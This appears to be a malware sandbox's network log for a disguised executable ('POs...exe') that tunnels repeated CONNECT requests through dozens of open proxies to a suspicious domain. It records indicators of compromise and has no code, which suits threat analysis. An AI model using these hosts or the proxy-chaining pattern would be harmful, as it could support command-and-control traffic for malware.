1412	192.168.2.11	49873	193.143.1.201	4444	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.667499065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829380035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938862085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939064980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985429049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.985375881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.985384941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.985271931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.000832081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.11	54468	94.45.74.60	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.668215036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.11	54389	102.132.201.202	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.675313950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.121699095 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.11	49966	41.128.148.76	1976	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.684505939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829396009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938860893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939040899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985414982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.985373974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.985409975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.985297918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.000854015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.11	54423	103.127.1.130	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.684957981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.11	53946	35.209.198.222	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.705884933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.794475079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.855899096 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:35 GMT Server: Apache/2.4.57 (Ubuntu) Content-Length: 644 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 6f 70 6f 72 74 65 74 69 40 63 6f 64 65 31 30 30 2e 63 6f 6d 2e 70 79 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at soporteti@code100.com.py to inform th
Mar 11, 2024 16:42:35.855914116 CET	300	IN	Data Raw: 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 Data Ascii: em of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Ubuntu) Server at heygirlisheeveryth

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.11	54564	104.18.234.218	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.706003904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.860366106 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.11	54603	172.67.206.105	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.733114004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.887350082 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.11	54496	45.120.178.197	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.742264032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.11	54569	35.185.196.38	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.742501020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.083024979 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.11	52186	202.144.157.1	9009	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.782365084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829504967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938858032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939166069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985410929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.987396955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.985409975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.985292912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.000849009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.11	54527	188.166.28.88	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.783242941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.564543009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.499887943 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.
Mar 11, 2024 16:42:27.613280058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.11	54567	136.54.39.34	8118	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.785731077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.438503981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.142184019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.505058050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.227381945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.938910007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.11	50100	23.225.72.122	3500	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.787758112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829569101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938889980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.640752077 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.11	52850	51.15.139.15	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.789120913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.794475079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.876545906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.876558065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
